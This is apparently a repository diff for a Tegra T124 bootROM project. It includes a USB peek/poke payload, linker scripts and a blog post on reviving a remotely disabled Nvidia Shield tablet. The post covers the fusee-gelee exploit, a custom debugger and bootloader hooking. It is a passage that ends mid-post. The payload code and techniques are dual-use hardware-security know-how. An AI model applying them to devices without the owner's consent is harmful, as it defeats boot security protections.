||||
if(data[i++] == '\0'){
|
||||
break;
|
||||
}
|
||||
}
|
||||
return i-1;
|
||||
}
|
||||
|
||||
void usb_log(char * msg, uint32_t * error){
|
||||
usb_write(msg, mystrlen(msg), error);
|
||||
}
|
||||
|
||||
// #define usb_log(msg, error) usb_write(msg, mystrlen(msg), error);
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void payload_main() {
|
||||
uint32_t error_code;
|
||||
uint32_t mem_off;
|
||||
uint32_t mem_sz;
|
||||
uint32_t blk_sz;
|
||||
char data[12];
|
||||
u8 *buffer = (u8*)0x40020000;
|
||||
|
||||
usb_log("cmd_handler", &error_code);
|
||||
while(1){
|
||||
usb_read(&data, 4, &error_code);
|
||||
if(data[0] == 'P' && data[1] == 'E' && data[2] == 'E' && data[3] == 'K') {
|
||||
usb_write(&data, 4, &error_code);
|
||||
usb_read(&data, 8,&error_code); // Receive uint64_t size and and uint32_t offset
|
||||
mem_off = *(uint32_t *)data;
|
||||
mem_sz = *(uint32_t *)(data+4);
|
||||
for(unsigned int i=0;i<mem_sz;i+=0x200) {
|
||||
if((mem_sz - i) < 0x200) {
|
||||
blk_sz = mem_sz - i;
|
||||
} else {
|
||||
blk_sz = 0x200;
|
||||
}
|
||||
usb_write((void *)(mem_off+i), blk_sz, &error_code);
|
||||
usb_read(&data, 4, &error_code);
|
||||
if(!(data[0] == 'A' && data[1] == 'C' && data[2] == 'K')) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else if(data[0] == 'P' && data[1] == 'O' && data[2] == 'K' && data[3] == 'E') {
|
||||
usb_write(&data, 4, &error_code);
|
||||
usb_read(&data, 8, &error_code); // Receive uint64_t size and and uint32_t offset
|
||||
mem_off = *(uint32_t *)data;
|
||||
mem_sz = *(uint32_t *)(data+4);
|
||||
|
||||
for(unsigned int i=0;i<mem_sz;i+=0x200) {
|
||||
if((mem_sz - i) < 0x200) {
|
||||
blk_sz = mem_sz - i;
|
||||
} else {
|
||||
blk_sz = 0x200;
|
||||
}
|
||||
usb_read((void *) (mem_off + i), blk_sz, &error_code);
|
||||
usb_log("OK", &error_code);
|
||||
usb_read(&data, 4, &error_code);
|
||||
|
||||
if(!(data[0] == 'A' && data[1] == 'C' && data[2] == 'K')) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
usb_log("done", &error_code);
|
||||
}
|
||||
}
|
||||
|
16
ShofEL2-for-T124/payloads/payload.ld
Normal file
@ -0,0 +1,16 @@
|
||||
__payload_bin_start = 0x4000E000;
|
||||
ENTRY(__payload_bin_start)
|
||||
|
||||
SECTIONS {
|
||||
/* We don't do GOT relocation and rely on nothing ending up using the GOT
|
||||
* (-fno-common helps here) */
|
||||
/DISCARD/ : { *(.comment) }
|
||||
.init (__payload_bin_start): { *(.init) *(.init.*) }
|
||||
.text : { *(.text) *(.text.*) }
|
||||
.data : { *(.data) *(.data.*) }
|
||||
.rodata : { *(.rodata) *(.rodata.*) *(.got) }
|
||||
.got : { *(.got) }
|
||||
.bss : { *(.bss) *(.bss.*) *(COMMON)}
|
||||
.footer : { LONG(0xdeadbeef) } /* make sure .bss is padded out */
|
||||
__payload_bin_end = .;
|
||||
}
|
20
ShofEL2-for-T124/payloads/reset_example.c
Normal file
@ -0,0 +1,20 @@
|
||||
#include "t124.h"
|
||||
#include "types.h"
|
||||
|
||||
static inline u32 read32(uintptr_t addr) {
|
||||
return *(vu32 *)addr;
|
||||
}
|
||||
|
||||
static inline void write32(uintptr_t addr, u32 val) {
|
||||
*(vu32 *)addr = val;
|
||||
}
|
||||
|
||||
static inline void or32(uintptr_t addr, u32 val) {
|
||||
write32(addr, read32(addr) | val);
|
||||
}
|
||||
|
||||
__attribute__((section(".init")))
|
||||
void main() {
|
||||
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
|
||||
}
|
||||
|
BIN
__pycache__/exploit.cpython-310.pyc
Normal file
BIN
__pycache__/hw_in_the_loop.cpython-310.pyc
Normal file
BIN
__pycache__/patches.cpython-310.pyc
Normal file
BIN
__pycache__/patches.cpython-38.pyc
Normal file
BIN
__pycache__/t210.cpython-310.pyc
Normal file
BIN
__pycache__/tools.cpython-310.pyc
Normal file
BIN
__pycache__/utils.cpython-310.pyc
Normal file
BIN
__pycache__/utils.cpython-38.pyc
Normal file
BIN
bin/bootloader.bin
Normal file
BIN
bin/dumped.bin
Normal file
BIN
bin/dumped_ref0.bin
Normal file
BIN
bin/imem3_bct
Normal file
BIN
bin/imem_bct
Normal file
BIN
bin/imem_good.bin
Normal file
BIN
bin/imem_ref0_t124.bin
Normal file
BIN
bin/t124_brom_hwio.pickle
Normal file
1
blog/images/bootflow_t124.drawio.svg
Normal file
After Width: | Height: | Size: 13 KiB |
1
blog/images/debugger_memory.drawio.svg
Normal file
After Width: | Height: | Size: 9.1 KiB |
1
blog/images/debugger_memory2.drawio.svg
Normal file
After Width: | Height: | Size: 10 KiB |
BIN
blog/images/emmc_isp.jpeg
Normal file
After Width: | Height: | Size: 329 KiB |
BIN
blog/images/fastboot_get_locked.png
Normal file
After Width: | Height: | Size: 176 KiB |
BIN
blog/images/fastboot_locked.jpeg
Normal file
After Width: | Height: | Size: 176 KiB |
BIN
blog/images/fastboot_unlocked.jpeg
Normal file
After Width: | Height: | Size: 107 KiB |
BIN
blog/images/nvidia-shield-tablet-0543.webp
Normal file
After Width: | Height: | Size: 80 KiB |
BIN
blog/images/pcb_setup.jpeg
Normal file
After Width: | Height: | Size: 223 KiB |
BIN
blog/images/stage2_entry.png
Normal file
After Width: | Height: | Size: 70 KiB |
652
blog/part1.md
Normal file
@ -0,0 +1,652 @@
|
||||
# Restore Nvidia Shield ST8
|
||||
In 2014 nvidia released their own ``Nvidia Shield`` tablet. This is quite a good tablet with as main selling point it's ``Tegra K1`` SoC with a good GPU. The tablet was aimed at gamers.
|
||||
|
||||
![Nvidia shield tablet](images/nvidia-shield-tablet-0543.webp)
|
||||
*source CNET*
|
||||
|
||||
However, shortly after launch it was discovered that some batteries had the tendency to expand or burn. In order to solve this, Nvidia decided to start a replacement program. Users could enter their serial number on a Nvidia website, along with their home address and would receive a new tablet from Nvidia without any costs. The old tablet would then be disabled remotely.
|
||||
|
||||
## Introduction
|
||||
|
||||
### OTA
|
||||
Back then a relatively new concept was introduced in Android devcies, which was the **O**ver **T**he **A**ir(OTA) update, which is just an update mechanism for android devices. This mechanism allowed Nvidia to push updates to specific devices. The update that was pushed to devices that were set to be disabled was simple, it corrupted the BCT(more later) and Bootloader of the bad tablets and forced a reboot. After that the device would never wake again(up until now).
|
||||
|
||||
On XDA there is a [big post](https://xdaforums.com/t/kill-the-kill-switch-st-yy.3179489/) about how the update works. So all credits here to the people that investigated the update back then( @Beauenheim, @Jackill, and @runandhide05)
|
||||
|
||||
This post will restore one of the disabled tablets back to it's functioning state. To do this a bootROM exploit will be used and a debugger that I developed in the process. It also serves as an example device for several other use cases which I will write a post about later.
|
||||
|
||||
### Nintendo Switch
|
||||
The [Nintendo Switch](https://en.wikipedia.org/wiki/Nintendo_Switch) is a game console that was launched in 2017 that contains *almost* the same chip as the Nvidia Shield Tablet. Several independent researchers found a bug in the BootROM and used it to gain access to the Nintendo Switch(fusee gelee). This exploit was then adapted to the T124 chip which is in the Nvidia Shield [by this guy](https://github.com/LordRafa/ShofEL2-for-T124).
|
||||
|
||||
So, there is a method to gain RCE on a device, let's try to see if we can restore a tablet.
|
||||
|
||||
## EMMC
|
||||
The simplest approach to unbricking this device is to unsolder it and reprogram it. To reprogram it you can use a EMMC writter, like EasyJTAG or a device as I used below:
|
||||
|
||||
![EMMC programming](images/emmc_isp.jpeg)
|
||||
|
||||
This will connect the device as a sdcard and allows you to reflash the bootloader. The chip can then be soldered back to the tablet and it will work again.
|
||||
|
||||
But this is no fun at all and I can't introduce my debugger, so let's continue our software only approach.
|
||||
|
||||
## Debugger
|
||||
The first goal is to build my debugger for this target. When connecting the device to a Linux based computer I see the following message in dmesg:
|
||||
|
||||
```bash
|
||||
[323058.201469] usb 1-5.3.1: new high-speed USB device number 91 using xhci_hcd
|
||||
[323058.302006] usb 1-5.3.1: New USB device found, idVendor=0955, idProduct=7f40, bcdDevice= 1.01
|
||||
[323058.302011] usb 1-5.3.1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
|
||||
[323058.302012] usb 1-5.3.1: Product: APX
|
||||
[323058.302014] usb 1-5.3.1: Manufacturer: NVIDIA Corp.
|
||||
```
|
||||
And in lsusb
|
||||
```bash
|
||||
Bus 001 Device 091: ID 0955:7f40 NVIDIA Corp. APX
|
||||
```
|
||||
|
||||
APX is the emergency download mode from Nvidia, similar to EDL mode on Qualcomm devices. Reusing the code from LordRafa I dumped the BootROM and loaded into Ghidra. On github also the source code of both T210 and T214 bootROMs was leaked, which makes reversing very easy.
|
||||
|
||||
### BCT
|
||||
One of the offsets provided by LordRafa is *do_bct_boot*, which should allow loading a BCT without security checks. This would be a good starting point, however upon further inspection it only resets the chip on my ROM:
|
||||
|
||||
```c
|
||||
void NvBootMainNonsecureRomEnter?(void)
|
||||
|
||||
{
|
||||
int iVar1;
|
||||
uint boot_tar;
|
||||
int iVar2;
|
||||
|
||||
/* inline function to configure clocks */
|
||||
NvBootClocksSetEnable(0x66,1);
|
||||
[..]
|
||||
iVar2 = NvBootFuseIsFailureAnalysisMode();
|
||||
if (((iVar2 != 0) || (iVar2 = NvBootFuseIsPreproductionMode(), iVar2 != 0)) &&
|
||||
((iVar2 = NvBootFuseIsPreproductionMode(), iVar2 == 0 ||
|
||||
(((*(uint *)(iVar1 + 0x10) & 1) == 0 && ((*(uint *)(DAT_00100634 + 0x24) >> 0x1a & 0xf) == 0))
|
||||
)))) {
|
||||
iVar1 = NvBootFuseIsFailureAnalysisMode();
|
||||
if (iVar1 != 0) {
|
||||
*DAT_00100638 = *DAT_00100638 & 0xfffffffe | 0x10;
|
||||
}
|
||||
NvBootFromUart(boot_tar);
|
||||
// 00100624 here
|
||||
NvBootResetFullChip();
|
||||
}
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
```asm
|
||||
00100624 00 f0 d8 f8 bl NvBootResetFullChip
|
||||
```
|
||||
I think the inteded function was 4 bytes higher and that would allow booting a BCT from UART. This is nice, however I have no UART on this device. There is a [github issue](https://github.com/NVIDIA/tegra-nouveau-rootfs/issues/22) that describes a UART interface over the sd card controller. I don't know if it will work from within the ROM and it's probably no worth the effort since I will probably have to maintain control over the device after it boot's the BCT(Trustzone, Fastboot locks).
|
||||
|
||||
|
||||
|
||||
|
||||
### PCB
|
||||
The exploit chain from LordRafa allows us load and jump into a new payload. When the device hangs you can press and hold the power button to let it reset and then try again. One thing I learned is that it's always worth the time to make a proper debug setup. So I took a PCB out of a tablet, connect it to a laptop and started shorting lines to ground on the tablet PCB. At some point there was a reset which I can see in dmesg. I soldered this line to a button and put the whole thing on a PCB. This way I can reset the device with a single push and try again. Saves lots of time and frustration.
|
||||
|
||||
I ofcourse forgot to document what I soldered before applying the hot glue so I have no clue which pin it was that I am shorting.
|
||||
|
||||
![pcb setup](images/pcb_setup.jpeg)
|
||||
|
||||
There is also a Raspberry Pico on this board which might be usefull for glitching later on.
|
||||
|
||||
### Debugger instrumentation
|
||||
LordRafa already found the USB send/recv functions. Upon further inspection we can also see where our payload needs to be loaded, let's try to connect the debugger.
|
||||
|
||||
#### Send/Receive
|
||||
|
||||
```c
|
||||
#define BOOTROM_EP1_IN_WRITE_IMM 0x001065C0
|
||||
#define BOOTROM_EP1_OUT_READ_IMM 0x00106612
|
||||
|
||||
typedef void (*ep1_x_imm_t)(void *buffer, uint32_t size, uint32_t *num_xfer);
|
||||
ep1_x_imm_t usb_recv = (ep1_x_imm_t) ( BOOTROM_EP1_OUT_READ_IMM | 1 );
|
||||
ep1_x_imm_t usb_send = (ep1_x_imm_t) ( BOOTROM_EP1_IN_WRITE_IMM | 1 );
|
||||
|
||||
|
||||
void send(void *buffer, uint32_t size, uint32_t *num_xfer){
|
||||
usb_send(buffer, size, num_xfer);
|
||||
}
|
||||
|
||||
int recv(void *buffer, uint32_t size, uint32_t *num_xfer){
|
||||
usb_recv(buffer, size, num_xfer);
|
||||
return (int)&num_xfer;
|
||||
}
|
||||
```
|
||||
For the Peek/Poke part this is all that actually needs to be setup for the debugger to function properly. For this target at least
|
||||
|
||||
#### Memory
|
||||
The debugger needs to know where it is located at compile time, as well where the stack and storage locations are. We define them in a symbols file and to the linker:
|
||||
|
||||
```text
|
||||
debugger_storage = 0x40013000;
|
||||
debugger_stack = 0x40014000;
|
||||
```
|
||||
Linker script
|
||||
```text
|
||||
MEMORY {
|
||||
ROM (rwx): ORIGIN = 0x4000E000, LENGTH = 0x1000
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x4000E000;
|
||||
.text . : {
|
||||
*(.text*)
|
||||
*(.data*)
|
||||
*(.rodata*)
|
||||
} >ROM
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
Finally we need to build the target:
|
||||
```makefile
|
||||
ifeq ($(ANDROID_NDK_ROOT),)
|
||||
$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20))
|
||||
endif
|
||||
|
||||
#ARM thumb mode
|
||||
TOOLCHAIN_ARM_T := $(TOOLCHAINENV)/gcc-arm-none-eabi-10-2020-q4-major/bin/arm-none-eabi-
|
||||
CC_T = $(TOOLCHAIN_ARM_T)gcc
|
||||
AS_T = $(TOOLCHAIN_ARM_T)as
|
||||
OBJCOPY_T = $(TOOLCHAIN_ARM_T)objcopy
|
||||
LD_T = $(TOOLCHAIN_ARM_T)ld.bfd
|
||||
|
||||
#For building in thumb mode
|
||||
CFLAGS_THUMB := -Wall -Werror -MMD -Wno-unused-variable \
|
||||
-march=armv4t -mthumb -Os -ffreestanding -fno-common \
|
||||
-fomit-frame-pointer -nostdlib -fno-builtin-printf \
|
||||
-fno-asynchronous-unwind-tables -fPIE -fno-builtin \
|
||||
-Idevices/nvidia_shield_t/ \
|
||||
-fno-exceptions -Wl,--no-dynamic-linker,--build-id=none
|
||||
|
||||
all: nvidia_shield_t
|
||||
|
||||
nvidia_shield_t:
|
||||
[ -d bin/nvidia_shield_t ] || mkdir -p bin/nvidia_shield_t/
|
||||
$(CC_T) armT_stub.S -c -o bin/nvidia_shield_t/entry.o
|
||||
$(CC_T) debugger.c -c -o bin/nvidia_shield_t/debugger.o $(CFLAGS_THUMB)
|
||||
$(LD_T) -T devices/nvidia_shield_t/linkscript.ld bin/nvidia_shield_t/entry.o bin/nvidia_shield_t/debugger.o -o bin/nvidia_shield_t/debugger.elf --just-symbols=devices/nvidia_shield_t/symbols.txt
|
||||
$(OBJCOPY_T) -O binary bin/nvidia_shield_t/debugger.elf bin/nvidia_shield_t/debugger.bin
|
||||
```
|
||||
I copied the flags from LordRafa's payload.
|
||||
|
||||
So a memory map will look as follows:
|
||||
|
||||
![Map nvidia shield](images/debugger_memory.drawio.svg)
|
||||
|
||||
### Ghidra Assistant
|
||||
Let's connect to it from the ``Ghidra Assistant``. I rewrote the ShofEl2 exploit in python. The class is called ``TegraRCM``, maybe I will write a bit more on it later how it works but there are plenty of descriptions of the fusee-gelee exploit.
|
||||
|
||||
```python
|
||||
def device_setup(concrete_device : "ConcreteDevice"):
|
||||
#Setup architecture
|
||||
concrete_device.arch = QL_ARCH.ARM
|
||||
concrete_device.ga_debugger_location = 0x4000E000
|
||||
concrete_device.ga_vbar_location = 0x40011000
|
||||
concrete_device.ga_storage_location = 0x40013000
|
||||
concrete_device.ga_stack_location = 0x40014000
|
||||
|
||||
rcm = TegraRCM()
|
||||
rcm.dev.read_chip_id()
|
||||
file = "/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger.bin"
|
||||
|
||||
rcm.send_payload(file, thumb=1)
|
||||
concrete_device.arch_dbg = GA_arm_thumb_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location)
|
||||
|
||||
assert(rcm.dev.read(0x100) == b"GiAs")
|
||||
|
||||
concrete_device.arch_dbg.read = rcm.dev.read
|
||||
concrete_device.arch_dbg.write = rcm.dev.write
|
||||
|
||||
#Overwrite all calls to make the concrete target function properly
|
||||
concrete_device.copy_functions()
|
||||
```
|
||||
Once we see b"GiAs" over our USB endpoint we know that the debugger is functional. We can test this by sending b"PING" over USB:
|
||||
|
||||
```python
|
||||
rcm.dev.write(b"PING") # Writes
|
||||
rcm.dev.read(0x100) # try to receive some data.
|
||||
b'PONG'
|
||||
```
|
||||
|
||||
The ``ConcreteDevice`` implementation needs to be configured with the correct addresses of the debugger and be told what the architecture is. In this case this is thumb and the Architecture debugger is set to this mode.
|
||||
|
||||
#### Playing around
|
||||
Because the debugger is running we can now do some really cool stuff. For instance let's try to see the state of the processor:
|
||||
|
||||
```text
|
||||
cd.arch_dbg.state.print_ctx(print)
|
||||
PC: 0x4000e02e LR: 0x4000df9d SP: 0x4000dcb0 FP: 0x 0
|
||||
R0: 0x4000df95 R1: 0x400139cc R2: 0x 0 R3: 0x 1
|
||||
R4: 0x4000e001 R5: 0x 3c4 R6: 0x 0 R7: 0x4000df55
|
||||
R8: 0x4000df55 R9: 0x 261411 R10: 0x 10c584 R11: 0x 0
|
||||
R12: 0x 0 R13: 0x4000dcb0 R14: 0x4000df9d R15: 0x4000e02e
|
||||
```
|
||||
We can also change the registers of the target device:
|
||||
|
||||
```
|
||||
cd.arch_dbg.state.LR = cd.arch_dbg.debugger_addr | 1
|
||||
```
|
||||
|
||||
And, one of the coolest features. We can restore the context and jump to a user specified address. So if we have the following function in our BootROM:
|
||||
|
||||
```c
|
||||
uint32_t NvBootUtilGetTimeUS(void)
|
||||
{
|
||||
return *(uint32_t *)(DAT_00100ca4 + 0x10);
|
||||
}
|
||||
```
|
||||
We can actually call it with:
|
||||
```
|
||||
def NvBootUtilGetTimeUS():
|
||||
cd.arch_dbg.state.LR = cd.arch_dbg.debugger_addr | 1
|
||||
cd.arch_dbg.restore_stack_and_jump(0x00100c7e | 1)
|
||||
assert cd.read(4) == b'GiAs', "Debugger crashed?"
|
||||
return cd.arch_dbg.state.R0
|
||||
```
|
||||
And this is our time apparantly:
|
||||
```python
|
||||
hex(NvBootUtilGetTimeUS())
|
||||
'0x6220ac69'
|
||||
hex(NvBootUtilGetTimeUS())
|
||||
'0x63459919'
|
||||
hex(NvBootUtilGetTimeUS())
|
||||
'0x637c611a'
|
||||
hex(NvBootUtilGetTimeUS())
|
||||
'0x63936828'
|
||||
```
|
||||
|
||||
The debugger becomes a pythonic representation of bare assembly instructions. Let's do a bit more advanced stuff, like loading a bootloader.
|
||||
|
||||
### Boot flow
|
||||
Now that we have the debugger running, let's see what is going on when we boot. Below is a simplistic overview of the bootflow from what I reversed:
|
||||
|
||||
![bootflow_t124](images/bootflow_t124.drawio.svg)
|
||||
|
||||
The function NvBootMainSecureRom enters RCM mode when cold booting fails. Lets take a look at the function:
|
||||
```c
|
||||
void NvBootMainSecureRomEnter(void)
|
||||
|
||||
{
|
||||
NvBootInfoTable *pNVar1;
|
||||
[..] //more hardware setup
|
||||
(BootInfoTable->BootTimeLog).NvBootTimeLogInit = *(NvU32 *)PTR_DAT_001015f8;
|
||||
NvBootMainSetupAesEngines();
|
||||
pNVar1 = BootInfoTable;
|
||||
if (iswarmboot == 0) {
|
||||
/* Coldboot path
|
||||
*/
|
||||
FUN_00103bf4();
|
||||
FUN_0010392c();
|
||||
puVar5 = BootRomVersion;
|
||||
bootinfo = BootInfoTable;
|
||||
BootInfoTable->BootRomVersion = *(NvU32 *)BootRomVersion;
|
||||
bootinfo->DataVersion = *(NvU32 *)(puVar5 + 8);
|
||||
bootinfo->RcmVersion = *(NvU32 *)(puVar5 + 4);
|
||||
bootinfo->PrimaryDevice = NvBootDevType_Spi;
|
||||
NVar3 = NvBootClocksGetOscFreq();
|
||||
bootinfo->OscFrequency = NVar3;
|
||||
*(NvU32 **)&bootinfo->PmuBootSelReadError = &bootinfo->SafeStartAddr;
|
||||
IsForceRcmByStrap = NvBootStrapIsForceRecoveryMode();
|
||||
IsForceRcmByPmc = NvBootPmcQueryFlag(2);
|
||||
puVar5 = PTR_FUN_00100588+1_00101600;
|
||||
if ((IsForceRcmByStrap | IsForceRcmByPmc) == 0) {
|
||||
NVar4 = NvBootColdBoot((int *)&BootAddress);
|
||||
/* Here is where we go to RCM mode, the BCT loading fails
|
||||
*/
|
||||
if ((NVar4 != NvBootError_None) &&
|
||||
(haltvalue = NvBootRcm(false,SUB41(&local_28,0),&BootAddress,in_r3), haltvalue != 0)) {
|
||||
BootAddress = puVar5;
|
||||
}
|
||||
goto continue_boot;
|
||||
}
|
||||
[..] // extra code, but boots in RCM
|
||||
haltvalue = NvBootRcm(true,SUB41(&local_28,0),&BootAddress,in_r3);
|
||||
}
|
||||
else {
|
||||
// Warmboot path
|
||||
continue_boot:
|
||||
haltvalue = NvBootMainProcessSecureDebugControl
|
||||
(iswarmboot,(uint)pNVar1->BctValid,local_28 & 0xff,(int)&local_28);
|
||||
if (haltvalue != 1) {
|
||||
IsFactorySecureProvisioningMode = IsFactorySecureProvisioningMode | 8;
|
||||
}
|
||||
haltvalue = NvBootFuseIsOdmProductionMode();
|
||||
NvBootMainSecureRomExit
|
||||
(iswarmboot,BootAddress,IsFactorySecureProvisioningMode,(uint)(haltvalue == 0));
|
||||
NvBootResetFullChip();
|
||||
return;
|
||||
}
|
||||
```
|
||||
|
||||
A variable ``bootinfo`` is loaded from a hardcoded offset in memory and populated with some version info and then passed to the function ``NvBootColdBoot``. We want to execute that function to see what is the result. The easiest method would be to patch this function and jump back to the debugger. If we jump in at
|
||||
```c
|
||||
puVar5 = BootRomVersion;
|
||||
```
|
||||
We can continue execution until after ``NvBootColdBoot``. But can we patch code in the ROM? Let's test this:
|
||||
|
||||
```python3
|
||||
cd.memwrite_region(0x00101318, b"\xdd" * 0x10)
|
||||
hexdump(cd.memdump_region(0x00101318, 0x20))
|
||||
┌─────────────────────────────────────────────────┬──────────────────┐
|
||||
0x00000000 │ f0 b5 00 24 85 b0 b5 4d 01 20 01 94 00 94 00 f0 │ ...$...M. ...... │
|
||||
0x00000010 │ 98 fd 01 f0 bf f9 00 f0 a8 fc 00 28 07 d0 00 f0 │ ...........(.... │
|
||||
└─────────────────────────────────────────────────┴──────────────────┘
|
||||
```
|
||||
|
||||
The result is not written back. The reason for this is that the ROM is shadowed(No faults are raised while trying to write to it). This means we can't write patches to the ROM. One approach would be to remap part of the ROM to RAM. This would allow patching but it's quite a bit of work. This will probably become a feature of the debugger in the future but for now it's not supported by default. Maybe instead we can just setup the memory structure ourself and execute the function?
|
||||
|
||||
```python
|
||||
NVCOLDBOOT = 0x00101ad2
|
||||
def nvbootcoldboot():
|
||||
'''
|
||||
Works, attempts to load the BCT from the EMMC
|
||||
'''
|
||||
nvbootinfo = 0x40000000
|
||||
cd.write_u32(nvbootinfo, 0x400001)
|
||||
cd.write_u32(nvbootinfo + 4, 0x400001)
|
||||
cd.write_u32(nvbootinfo + 8, 0x400001)
|
||||
|
||||
# cd.write_u32(nvbootinfo + 0xc, 0x00000001) # Boot type, set later also
|
||||
|
||||
cd.write_u32(nvbootinfo + 0x10, 5) #Irom
|
||||
# cd.write_u32(nvbootinfo + 0x10, 9)
|
||||
|
||||
def NvBootClocksGetOscFreq():
|
||||
return cd.read_u32(cd.read_u32(0x00100214) + 0x10) >> 0x1c
|
||||
cd.write_u32(nvbootinfo + 0x28, NvBootClocksGetOscFreq()) #Irom
|
||||
cd.write_u32(nvbootinfo + 0xf0, nvbootinfo + 256) # End of boot info
|
||||
|
||||
# Move debugger in r0, to jump to that on failure
|
||||
cd.arch_dbg.state.R0 = 0x40020000 # cd.ga_debugger_location | 1
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(NVCOLDBOOT | 1)
|
||||
|
||||
assert cd.read(4) == b"GiAs", "Failed to jump to debugger"
|
||||
|
||||
nvbootcoldboot()
|
||||
cd.arch_dbg.state.print_ctx(print)
|
||||
|
||||
PC: 0x4003c02e LR: 0x 109c15 SP: 0x4000dcb0 FP: 0x 0
|
||||
R0: 0x 8 R1: 0x 0 R2: 0x 11 R3: 0x4003c001
|
||||
R4: 0x4000e001 R5: 0x 3c4 R6: 0x 0 R7: 0x4000df55
|
||||
R8: 0x4000df55 R9: 0x 261411 R10: 0x 10c584 R11: 0x 0
|
||||
R12: 0x 109aef R13: 0x4000dcb0 R14: 0x 109c15 R15: 0x4003c02e
|
||||
```
|
||||
The error code, in this case is 8 or NvBootError_DeviceError, this is because I desoldered the EMMC chip for this device. On a device with a working EMMC chip the error code is 24 or NvBootError_IdentificationFailed.
|
||||
|
||||
### K1 tablet
|
||||
At this point I bought a working K1 tablet from marktplaats(Dutch ebay). Since this tablet has the same SoC it will have the same BootROM vulnerability and I can reuse my code while also see what would be a *correct* boot flow.
|
||||
|
||||
If we execute the same function on the K1 tablet the result is 0x0, as expected. Also the local variable &BootAddress is set to ``0x4000e000``. This should be the target branch. Let's dump this region and see what is in it.
|
||||
|
||||
![stage2 bootloader](images/stage2_entry.png)
|
||||
|
||||
Looking with Ghidra, we can see that its valid code. The MSR instruction is clearly visible and you almost always find that instruction at the start of a bootloader, since the security/system control is transfered to that bootloader.
|
||||
|
||||
Maybe we can just try to boot this code directly? There is 1 issue however, the debugger is currently located at ``0x4000e000`` and loading the bootloader there would overwrite it. The debugger is build with this problem in mind, we can just relocate it to another position. To do this, we create a new entry in the Makefile and a new symbols_reloc.txt, along with a linkscript linkscript_reloc.ld:
|
||||
|
||||
symbols_reloc.txt
|
||||
```text
|
||||
debugger_storage = 0x4003e000;
|
||||
debugger_stack = 0x4003f000;
|
||||
```
|
||||
linkscript_relod.ld
|
||||
```linkscript
|
||||
MEMORY {
|
||||
ROM (rwx): ORIGIN = 0x4003c000, LENGTH = 0x1000
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
. = 0x4003c000;
|
||||
.text . : {
|
||||
*(.text*)
|
||||
*(.data*)
|
||||
*(.rodata*)
|
||||
} >ROM
|
||||
|
||||
}
|
||||
```
|
||||
And the Makefile
|
||||
|
||||
```makefile
|
||||
nvidia_shield_t_reloc:
|
||||
[ -d bin/nvidia_shield_t ] || mkdir -p bin/nvidia_shield_t/
|
||||
$(CC_T) armT_stub.S -c -o bin/nvidia_shield_t/entry.o
|
||||
$(CC_T) debugger.c -c -o bin/nvidia_shield_t/debugger_reloc.o $(CFLAGS_THUMB)
|
||||
$(LD_T) -T devices/nvidia_shield_t/linkscript_reloc.ld bin/nvidia_shield_t/entry.o bin/nvidia_shield_t/debugger.o -o bin/nvidia_shield_t/debugger_reloc.elf --just-symbols=devices/nvidia_shield_t/symbols_reloc.txt
|
||||
$(OBJCOPY_T) -O binary bin/nvidia_shield_t/debugger_reloc.elf bin/nvidia_shield_t/debugger_reloc.bin
|
||||
```
|
||||
|
||||
We can load the debugger at that address and instruct the Ghidra Assistant that we are relocating the debugger. We can check if it worked by querying the ``debugger_main`` function of the debugger.
|
||||
|
||||
```python
|
||||
def relocate_debugger():
|
||||
'''
|
||||
Works, relocates the debugger to the end of IRAM
|
||||
'''
|
||||
reloc = open('/home/eljakim/Source/gupje/source/bin/nvidia_shield_t/debugger_reloc.bin', 'rb').read()
|
||||
cd.memwrite_region(0x4003c000, reloc)
|
||||
cd.restore_stack_and_jump(0x4003c000 | 1)
|
||||
assert cd.read(0x100) == b"GiAs"
|
||||
|
||||
# And relocate the debugger
|
||||
cd.relocate_debugger(0x40011000, 0x4003c000, 0x4003e000)
|
||||
|
||||
relocate_debugger()
|
||||
hex(cd.get_debugger_location())
|
||||
'0x4003c199'
|
||||
```
|
||||
Works, now we can also update the memory map:
|
||||
|
||||
![Debugger stage2](images/debugger_memory2.drawio.svg)
|
||||
|
||||
Let's load the new bootloader and see what happens:
|
||||
|
||||
```python
|
||||
boot_to = 0x4000e000
|
||||
imem = open("imem3_bct", 'rb').read()
|
||||
cd.memwrite_region(0x40000000, imem)
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(boot_to)
|
||||
```
|
||||
|
||||
Crash ofcourse, didn't really expect that would work. But executing the same code on the working tablet results in a booting device. Let's debug what is going on.
|
||||
|
||||
#### Hooking
|
||||
The stage2 bootloader contains a lot more strings than the ROM. I searched a bit on the internet to see if there were any leaked sources for this bootloader but I found nothing. Reversing bootloaders can be challenging when there are almost no strings, for this one there are several and they seem to be used to log the state of the bootloader over UART. Sadly we don't have UART to inspect what is going on, but we do have the debugger.
|
||||
|
||||
We can just place a hook in the log function and jump to the debugger. Then we can inspect the state of the device and dump the log string to see what is being logged. Setting up the hook is easy:
|
||||
|
||||
```python
|
||||
jump_stub = f"""
|
||||
ldr r12, addr_debugger_main_t
|
||||
bx r12
|
||||
.align 4
|
||||
addr_debugger_main_t: .word {hex(cd.ga_debugger_location | 1)}
|
||||
"""
|
||||
jump_stub = ks_arm.asm(jump_stub, as_bytes=True)[0]
|
||||
|
||||
# Setup code for log hook
|
||||
cd.memwrite_region(0x4001cadc, jump_stub)
|
||||
|
||||
cd.arch_dbg.state.LR = cd.ga_debugger_location | 1
|
||||
cd.restore_stack_and_jump(boot_to)
|
||||
|
||||
while True:
|
||||
try:
|
||||
r = cd.read(0x100) #GiAs
|
||||
msg = cd.read_str(cd.arch_dbg.state.R0)
|
||||
print(msg)
|
||||
cd.restore_stack_and_jump(cd.arch_dbg.state.LR) # Restore as if nothing happened.
|
||||
except:
|
||||
pass
|
||||
```
|
||||
The output is fascinating:
|
||||
Good device boot
|
||||
```
